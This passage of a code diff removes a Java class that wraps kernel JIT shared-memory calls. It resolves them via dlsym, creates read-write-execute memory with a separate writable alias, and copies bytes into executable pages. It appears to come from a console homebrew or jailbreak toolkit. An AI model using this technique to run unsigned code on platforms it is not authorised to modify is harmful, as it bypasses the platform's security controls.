SCE_KERNEL_JIT_CREATE_ALIAS_OF_SHARED_MEMORY_SYMBOL); - sceKernelJitMapSharedMemory = - api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_MAP_SHARED_MEMORY_SYMBOL); - - if (sceKernelJitCreateSharedMemory == 0 - || sceKernelJitCreateAliasOfSharedMemory == 0 - || sceKernelJitMapSharedMemory == 0) { - throw new InternalError("symbols not found"); - } - } - - public static synchronized JitDefaultImpl getInstance() { - if (instance == null) { - instance = new JitDefaultImpl(); - } - return instance; - } - - int sceKernelJitCreateSharedMemory(Text name, long len, int maxProt, Int32 fdOut) { - return (int) - api.call( - sceKernelJitCreateSharedMemory, - name.address(), - len, - maxProt, - fdOut != null ? fdOut.address() : 0); - } - - int sceKernelJitCreateAliasOfSharedMemory(int fd, int maxProt, Int32 fdOut) { - return (int) - api.call( - sceKernelJitCreateAliasOfSharedMemory, - fd, - maxProt, - fdOut != null ? fdOut.address() : 0); - } - - int sceKernelJitMapSharedMemory(int fd, int prot, Int64 startOut) { - return (int) - api.call(sceKernelJitMapSharedMemory, fd, prot, startOut != null ? startOut.address() : 0); - } - - protected long jitMap(long size, long alignment) { - if (sceKernelJitCreateSharedMemory( - new Text("jit"), - align(size + alignment - 1, PAGE_SIZE), - PROT_READ | PROT_WRITE | PROT_EXEC, - sharedHandle) - != 0) { - throw new InternalError("sceKernelJitCreateSharedMemory failed"); - } - - if (sceKernelJitCreateAliasOfSharedMemory( - sharedHandle.get(), PROT_READ | PROT_WRITE, aliasHandle) - != 0) { - throw new InternalError("sceKernelJitCreateAliasOfSharedMemory failed"); - } - - if ((rx = - mmap( - 0, - align(size + alignment - 1, PAGE_SIZE), - PROT_READ | PROT_EXEC, - MAP_SHARED, - sharedHandle.get(), - 0)) - == MAP_FAILED) { - throw new InternalError("mmap failed"); - } - rx = align(rx, alignment); - - if ((rw = - mmap( - 0, - align(size + alignment - 1, PAGE_SIZE), - PROT_READ | PROT_WRITE, - MAP_SHARED, - aliasHandle.get(), - 0)) - == MAP_FAILED) { - throw new InternalError("mmap failed"); - } - rw = align(rw, alignment); - - return rx; - } - - protected void jitCopy(long dest, byte[] src, long n) { - api.memcpy(dest - rx + rw, src, n); - } -}